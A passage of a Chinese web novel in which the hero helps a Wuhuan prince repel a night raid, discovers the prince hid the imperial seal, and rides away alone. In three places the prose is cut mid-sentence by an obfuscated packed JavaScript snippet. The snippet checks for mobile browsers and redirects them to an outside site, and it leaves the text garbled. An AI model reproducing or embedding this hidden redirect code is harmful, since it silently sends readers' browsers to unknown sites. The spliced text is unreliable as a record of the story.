姬无瑕道:“嗯,圣地是个谷地,如果匈奴人进攻平地上的正后门,两个门附近都有拒马桩和箭楼,易守难攻。但若在奇夷的指引下,半夜爬到山顶,再居高临下进攻,就相当难办了。” 萧骁略有诧异,道:“你居然还懂这个?” 姬无瑕道:“毕竟生在皇家嘛,略懂一二。” 其实不是因为生在皇家,而是因为生在现代,权谋小说没少看。 萧骁道:“若笃定他们会从哪座山上攻击,反而好处理,只因我方可以集中兵力先作埋伏。归赤山是乌桓人的世世代代的故乡,比只有一名向导的匈奴人肯定有地利方面的优势。” 姬无瑕道:“但这里是山谷,左右有两座山峰……” 萧骁道:“不错。两边都做埋伏则兵力包不住,会被逐个击破。” 姬无瑕突然灵机一动,道:“我刚才看到议事的贵族中有一人,穿蓝衣服戴绿帽子那个……” 萧骁:“嗯?” “他是奇夷的人。”姬无瑕小声说。 萧骁道:“你怎么知道的?” 姬无瑕:“昨日你与奇夷在大帐对峙,我看到他的神色了。有好几次咱们占上风时,他的神情都非常鄙夷,而奇夷占上风时则明显有些欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624024|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜。” 萧骁:“可当真?” 姬无瑕道:“多半错不了。但他只是亲奇夷派,并不见得会投靠匈奴人。” 萧骁道:“有办法,我可以宣布埋伏在其中一座山峰,再找人跟着他,看他是否外出报讯。” 姬无瑕道:“天色尚早,不妨试试!” 萧骁一阵风般冲出去了,又喊时越召集人开会。他既然有了方向,自然有办法一步步让匈奴人陷入陷阱之中,姬无瑕就不掺和了。 太阳落山后,姬无瑕收到时越送来的萧骁的字条,上面龙飞凤舞的草书:成了,你先睡,今夜无法陪你了。 姬无瑕:“说得好像陪我很重要似的。” 他往好处想,一觉醒来玉玺讲不定都回来了;往坏处想,这可能是他在这个世界的最后一觉。 不过姬无瑕向来心大,自己无法改变的东西就不会去想,脑袋沾到枕头就睡了。 后半夜,其中一侧山峰上天摇地动,火箭飞舞,喊杀声冲天,春夜的山林燃烧起来,将半边天空染得通红。着火的树木从山坡滚落到圣地里,压塌了两栋边缘的木屋,发出巨响。 “怎么,怎么了?”姬无瑕茫然坐起来。钦琳在他的窗外大声道:“打起来了,你先出来,当心屋子着火!” 于是姬无瑕只得披衣爬起来。外头还真有几间房子被滚落的树木点着了,火光映得他的侧脸轮廓分明,眼中又像蕴着金红色的人间幻境。 “当心!”姬无瑕将钦琳猛地一拉。 钦琳差点被一根带火苗的树枝灼伤,满脸后怕。 “看什么呢?”姬无瑕不悦地说,“先救火。” 成年男子统统上山埋伏,剩下一群无法战斗的老弱妇孺在圣地里打水、救火,姬无瑕在这里面算主要劳力了。 “公主,你力气真不小啊!”他搬大水桶时,有老人赞叹道,“王子好福气咯,一看就能生养!” 姬无瑕哭笑不得。 片刻后,山峰上的喊杀声沉寂下去,只是不知谁输谁赢。 钦琳的父亲和心上人都在战场上,忍不住手指绞着衣角,望着火光逐渐黯淡下去的大山。 姬无瑕道:“妹妹,火救完了,睡吧。” 钦琳摇头道:“我睡不着。” 姬无瑕忍不住皮了一下:“我陪你睡?” 钦琳怒道:“你这是在可怜我?!” 姬无瑕道:“我是小狗啊,你忘了?抱着小狗睡不是很正常吗?” 姬无瑕将双手半握,比在脑门上当狗耳朵。 钦琳:“……” 姬无瑕自觉讲了个不好笑的冷笑话,讪讪地说:“那,那我先睡了哦。” 他转身就走,钦琳在他身后道:“知道你是想安慰我,谢了。” 23.萧骁:57.99 将近天亮,萧骁方才获胜归来,在屋外冲了冷水澡,一身血污换作了寒气,进了姬无瑕睡下的屋子。 姬无瑕感觉到凉意,下意识地往被子里缩。萧骁无奈,又外出绕着圣地跑了一整圈,跑得汗流浃背才回来。这次他的身躯暖和了,姬无瑕一直都往他的怀抱里钻。 结果就是天亮时,姬无瑕气得起床就喊:“你就不能先洗澡吗?!一身汗味就进被窝了?!” 姬无瑕嫌弃得要命,却发现圣地里多了几个伤员,赶紧去帮忙照顾,烧热水扎绷带。萧骁跟着来,当众道:“咱们的人受伤不多,这次多亏了你。” 姬无瑕脸上淡定,内心暗爽,道:“嗯。” 在他起床前钦琳已听过了来龙去脉,此时也道:“好在你计划得当,我爹没受伤。谢天谢地!” 姬无瑕自豪地给面前的伤员绷带打了个死结,那伤员一声惨叫。 钦琳脸色变了,尖叫道:“姑奶奶,你放着吧!等会儿我还要一个个解开你的结重包!” 姬无瑕这才灰溜溜地跑了。 众人初步收拾停当,怕匈奴人再作什么妖,萧骁便请了大祭司同他们一起下山暂避,主持完成婚的仪式再回来。启程时姬无瑕才再次见到了乌桓单于,与年近百岁的大祭司坐在一个双人担架上面,被族人抬下去。萧骁的父亲在短短两日间便白了头,甚至连胡子都花白了。 然而年轻人恢复活力总是很快的,更何况萧骁吩咐明日要大操大办婚礼。午后,姬无瑕补好觉出来,见帐篷上俱挂好了七彩的丝带,小伙子与姑娘们身着节日盛装,用姬无瑕听不懂的语言大声谈笑、打闹,就连鹅黄的缰绳都换成了红绳。 姬无瑕捻了捻那根红绳,感觉质地像是现代的中国结。鹅黄爱啃绳子,自己咬着缰绳快乐地嚼来嚼去。 出帐篷略走几步,便见空地上架着一口大锅,几个年轻人赤着上身,在烧热水,准备宰羊祭祀用。见姬无瑕来了,他们也不闪避,似乎习惯了族中女孩打量他们的身材,并投射来欣赏的目光。 其中有一个肩膀上包着绷带,看那拙劣的死结,正是姬无瑕清早时打的。可能某些伤得轻的钦琳也就算了,任由他胡来。 那带伤的乌桓青年丝毫不显神色萎靡,冲姬无瑕吹了个口哨。姬无瑕连连点头,于是那青年便想走过来跟他搭话。 姬无瑕正有点小期待,流着口等着,就感到后脖领一股大力,被萧骁倒拽着提走了人。 “有什么好看的?!”萧骁教训道,“看我还不够吗?” 姬无瑕:“嘿嘿。” 萧骁道:“跟我去射大雁!” 姬无瑕马上兴致勃勃地上了他的马。 营帐外的大草原上,一队乌桓男女几十人,策马等待着萧骁。钦琳也骑着一匹小红马,见萧骁载着姬无瑕来了,远远道:“今年这第一场行猎是为你办的,知道不,小狗?” 姬无瑕道:“汪!” 于是钦琳放声大笑,整队人拥簇着萧骁奔向春日里野草疯长的草原。 近日天暖,大雁正从南方回返。按照乌桓人的习俗,若有新人在春天一同成婚,几位新郎便会约上亲朋好友,外出猎雁,并各自将收获的猎物赠予新娘,作为最重要的聘礼。 萧骁与姬无瑕的婚事原本打算仓促一办,就略过了这一环,这次是萧骁主动要求补上的。姬无瑕也感到非常新鲜,如果不是穿越,他只怕此生也不会有机会在草原上骑马打猎。 一排大雁从碧空中飞过,排成一字型。萧骁笑问:“你们要射哪一只?” 其他乌桓小伙子纷纷认领行列中的某只大雁,轮到萧骁时,萧骁又转而问姬无瑕:“你要哪一只?” 钦琳插言道:“这送新娘的大雁是数量越多越尊贵,按咱们王子的地位,可不能少于三只。” 姬无瑕存心刁难,便手指指着天空,从头划到尾,又转回来,一个大圈把整群大雁都划拉了进去。 队伍里的青年们鼓噪起来,似乎是起哄说不跟萧骁抢,都让给萧骁。 姬无瑕洋洋得意,斜眼看萧骁的反应。 想不到萧骁根本不反驳,看了姬无瑕一眼,从背上取下长弓,将弓抡成满月。 在姬无瑕的注视下,那根箭脱弦飞出,像导弹一样带着巨响呼啸着冲上半空,在白云间打了个弯,然后追着大雁队伍,从背后射中了吊车尾的大雁! “好!”周围人纷纷喝彩。 那只大雁“咕嘎”一声被爆菊,震惊地张圆了嘴。于是那根箭又从它口中穿了出来,射向队伍前方的倒数第二只。 就这样,一根箭余力不消,一路射穿了整排大雁,直到头雁才停了下来,钉在它的屁股上。乌桓人的喝彩越来越响,在震耳欲聋的欢呼中,一排大雁依次坠落在地,到地上还保持着排列规整的队形。 姬无瑕扶额,心想:牛顿的棺材板都要摁不住了…… 乌桓人大吵大闹,帮萧骁捡了一排八只大雁,穿成一串挂在鹅黄马后。姬无瑕心道,真是够了。 到了晚上,萧骁被贵族朋友请去吃饭,回来时明显喝了酒,脸色发红,到榻上来抱他。 “干嘛?”姬无瑕笑着说道,“后天才成婚呢,你想干嘛嗯?” 其实姬无瑕也不是不行,毕竟以他的性向而言,他其实没想过有朝一日会跟人结婚。这个圈子里很多人都是来来去去,相伴一程总是聊胜于无。 萧骁把额头抵在姬无瑕脖颈间。姬无瑕问:“有什么不开心的?” 萧骁捏着他的下巴,道:“你怎么知道我不开心? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627905|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姬无瑕有个小观察,萧骁其实这么做过好几次,都是心情不太好的时候,类似于心中郁闷无人能讲,将姬无瑕当作小猫小狗来吸。 姬无瑕一本正经道:“我掐指一算算出来的。” 萧骁置之一笑,道:“我今天宴会上,告诉他们,你的孩子在奇夷反叛的时候掉了,伤了身体,以后都不能生了。” 姬无瑕哭笑不得,道:“哦。”这算是帮他圆了一下谎。虽然姬无瑕不在意乌桓人的看法,萧骁作为未来的族长却不得不在意。 萧骁接着道:“现在奇夷走了,你又不能生,族里没有继承人,他们说让我找个……” 姬无瑕本以为萧骁要说,族人劝他纳个小,比如说钦琳还是谁的,正准备好了要大发雷霆,让他断了这个念想。 姬无瑕深深地吸一口气,结果萧骁紧接着说:“让我给自己找个后妈……” 姬无瑕倏然破功,发出一声爆笑! 萧骁道:“他们说父王还年轻,努力一下还能给我生个弟弟,库查家的女儿就不错,跟钦琳差不多年纪……” 姬无瑕道:“不要吧,那不是跟我也差不多年纪?我不想管年轻小姑娘叫婆婆啊。” 萧骁也笑了,躺在铺上,示意姬无瑕枕着他的肩膀。 姬无瑕道:“你这肌肉又硬又咯人……” 萧骁手臂翻了个面。姬无瑕挑三拣四地躺下了。 过了会儿,姬无瑕道:“得问问人家小姑娘的意思啊!人家说不定想不想嫁给你爹呢。咱要尊重人家选择的自由。” 萧骁折腾一天还没补觉,酒后也有点迷糊了,半睡半醒地说:“这世上哪有选择的自由?人人都身不由己。你是大周的公主,是我的恩人,爱人,是我这辈子的救星,也不过……” 姬无瑕竖起耳朵,结果萧骁不说了,过了片刻打起了小呼噜。 姬无瑕:“……” 姬无瑕试着捏了捏萧骁的鼻子,萧骁呼噜骤停,但也没张嘴。姬无瑕等了片刻,发现萧骁连呼吸都停了,一惊之下赶紧松手,结果萧骁若无其事地接着打呼噜。 睡得也太熟了。姬无瑕心想。 但姬无瑕白天睡多了,现在睡不着,只想找点什么来玩。他又想了想,把萧骁的一只手抬起来,绑在床头的雕花栏杆上,打了双倍死结。这样萧骁明天一早鲤鱼打挺时,肯定挺不起来,须得哀求姬无瑕给他解,除非他不要面子了,喊时越进来解。 姬无瑕不怀好意地自己嘿嘿乐了半天,听到帐篷后面好像有声音。 “谁啊?”姬无瑕道。难道是来闹洞房的?来早了一天吧。 想不到却是个熟人,杜姜在外道:“臣杜姜,恭贺白璧公主新婚之喜,祝公主殿下早生贵子,白头到老。” 24.萧骁:57.99 姬无瑕一怔,心想怎么又是杜姜?但姬无瑕从未把他真当自己人,也就不会纠结他的“背叛”,终究不过是个路人而已。但他又隐约感觉到,杜姜的语气跟上次有些不一样,他上次管自己叫公主殿下了吗?自称“臣”了吗? 姬无瑕懒洋洋地道:“同喜同喜,也祝你早生贵子,头白到老。贺仪包了吗?” 杜姜道:“臣出门在外,身无长物……” 姬无瑕柳眉倒竖,道:“你那一整座江阴城和三百个铺子呢?跟我开玩笑的?” 杜姜道:“哪敢欺瞒殿下,城和铺子都是现成的,只是不好搬动。将来殿下屈尊纡贵,亲身前来臣的江阴城时,臣自然不敢怠慢,一定让殿下宾至如归。” 杜姜的每句话似乎都带着点别的意思,若是姬无瑕真跟萧骁成婚了,都不见得会再回中原,怎么就会有机会去江阴了?但只说是客套倒也不是说不过去。 姬无瑕道:“不要你别的,你那个扇子送给我就成。” 杜姜道:“扇子?好说啊。殿下接好啊!” 姬无瑕:“?” 他等了片刻,只见帐篷底缝下努力怼进来一把扇子,扇柄朝前戳,上头还带着点撅出来的土。姬无瑕下榻走过去用力一拔,尘土飞扬,那把缀满了夜明珠的羽毛扇子,就这么从帐篷缝底下塞了进来,灰头土脸,羽毛都脏得不行。 姬无瑕从未见过这么糟践东西的,而且现在扇子送给他,就是他的了,他心疼钱。 杜姜似乎隔着帐篷布听到了他的心声,道:“我买下了近十年所有东海出水的万年老珠,全部都缝了扇子。这一模一样的扇子,我家里还有九把呢,殿下下次来我家以旧换新。” 姬无瑕:“……” 姬无瑕想揍他。 杜姜道:“哎呀我得走了,公主还记得我上次说的三件事不?” 姬无瑕心道,你还敢主动提?但拿人手短,何况是刚拿的,所以他没说出口。 杜姜道:“其中那件最重要的。” 姬无瑕想,他说什么来着?姬无瑕努力思索,突然想起来,杜姜让他……看床底下? 姬无瑕引以为傲的行动力使他“刷”地掉头,趴到了床底下。 杜姜在外面听到了声响,发出了一串愉悦的低笑。 然而床底下啥都没有。姬无瑕想了想,用手上的羽毛扇子扇了扇地上的浮土,发现床的正下方有一块土的颜色明显跟旁边不一样,像是新翻过。 于是姬无瑕又用扇子柄去撅那块新土。他发现这个扇子实在是实用工具,怎么会有这么恰到好处送上门来的工具呢? 姬无瑕撅了一会儿,便戳到一个硬物。他改为用手扒拉,结果从土坑里扒拉出一个眼熟的包袱皮。 姬无瑕静了。他的头顶上,经过姬无瑕与杜姜这么又聊天又扒拉好一番折腾,萧骁居然还没醒。 “啊。”杜姜道,“我今晚给王子敬酒时,往他杯子里加了点料,他不会那么快醒的。” 姬无瑕:“……” “你想对他做什么,就做什么。”杜姜意味深长地说,“我先走了,我什么都——没看到。” 脚步声远去,姬无瑕孤独地趴在床底,从包袱里翻出了玉玺和竹哨。 - 姬无瑕坐在床边,慢慢想明白了来龙去脉。其实根本没什么玉玺被匈奴人拿走的事,都是萧骁不希望自己离开乌桓,才藏起来的。自己找不到玉玺,就只能被拖在乌桓,能拖一时是一时。 原来是这样。 姬无瑕也没觉得恨萧骁,只是觉得心潮退去,好像确实不怎么爱他了。 姬无瑕一时兴起的初恋结束了。 我本来就不是这个世界的人,我还是走吧,早日登基,早日回家,姬无瑕想。他有点想爸爸妈妈,想二逼的室友们了。 他在帐内脱下乌桓女性颜色鲜艳的窄袖袍,换回自己从洛阳跑出来时穿的太监服。太监服洗干净叠在柜子里,上面还好端端压着那个歪七扭八的布娃娃。 这是白璧的东西,不是我的。姬无瑕劝自己。 他想把单只耳环也摘了放回去,但摘的时候,萧骁以被绑住的手臂为轴心翻了个身,姬无瑕吓了一跳,就手抖没摘下来。 得赶紧走。姬无瑕不纠结了,把玉玺、竹哨和羽毛扇打成一包。玉玺是他的,竹哨是朋友的,羽毛扇是路费。然后,他就蹑手蹑脚地出了帐篷。 帐篷外,鹅黄站着睡觉,见他出来,黑葡萄般的大眼镜忽闪忽闪。姬无瑕对它比了个“嘘”的手势,也不知它看不看得懂。 鹅黄没叫,姬无瑕转身就走,鹅黄便去叼他衣领。 这被提住脖领子的感觉可太熟悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651359|140999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,鹅黄跟萧骁不愧是一家的,手法一模一样。 姬无瑕小声道:“放开,放……” 鹅黄长脖子一扭,把他掉了个个儿,面朝着萧骁的帐篷放下。 姬无瑕再走,鹅黄再掉他个,再走再掉个。姬无瑕快被转晕了,怒道:“不许叼我了!也不许喊人!老子去意已决!” 也不知道一匹马听不听得懂什么叫“去意已决”。 鹅黄大眼睛眨了眨,突然拖着姬无瑕往营地的方向走。 姬无瑕道:“又干什么……?” 一会儿,营地里跑出来一匹小红马。姬无瑕对马研究不多,但也看得出这匹马色泽亮丽,平时吃得很好,依稀就是钦琳骑那匹。 鹅黄示意姬无瑕上马,小红马乖乖的,还俯下身子方便他骑上去。 姬无瑕问鹅黄:“这是你女朋友?” 小红马不满地对姬无瑕抬了抬腿,示意他看自己的蛋。 姬无瑕:“哦,男朋友。” 鹅黄又用鼻子拱姬无瑕,姬无瑕便上了小红马,骑马出了营地。 姬无瑕的马术全靠这几日突击,能不掉下来不错了,根本不会控马。星斗漫天,本可为他指引方向,但姬无瑕也不会看,就信马由缰地让小红马自己跑。他的脑子一片空白,跑了许久才想起来,至少可以看北斗七星啊! 姬无瑕回头,看到远远的神山上,挂着一个璀璨的大汤勺。 星垂平野阔。星空很低很低,几乎追在姬无瑕的身后,与他并肩狂奔。姬无瑕恍惚地想,即便是穿越的时空隧道也不过如此吧。 人与星星,都是广袤宇宙中的微尘,一粒大一点,一粒小一点。微尘与微尘之间还分什么彼此呢,不过是擦肩而过时打个招呼,互相祝贺那短暂的生命曾经存在过。 姬无瑕就独自一人,落寞地奔行在这没有彼岸的草海之上。 天亮时,背后传来萧骁沙哑的喊声:“无瑕——无瑕——” 萧骁不知喊多久,几乎叫破了音,但喊声在见到姬无瑕背影的那一刻停了。鹅黄与他的主人默默地追在小红马身后,与它若即若离。 姬无瑕置若罔闻,头也没有回。 火红的朝阳从地平线上窜出,晃得姬无瑕眼眶酸楚。一高一矮,两人骑马的影子横贯草原,并迅速在初生暖阳的灼烧中消融成一片。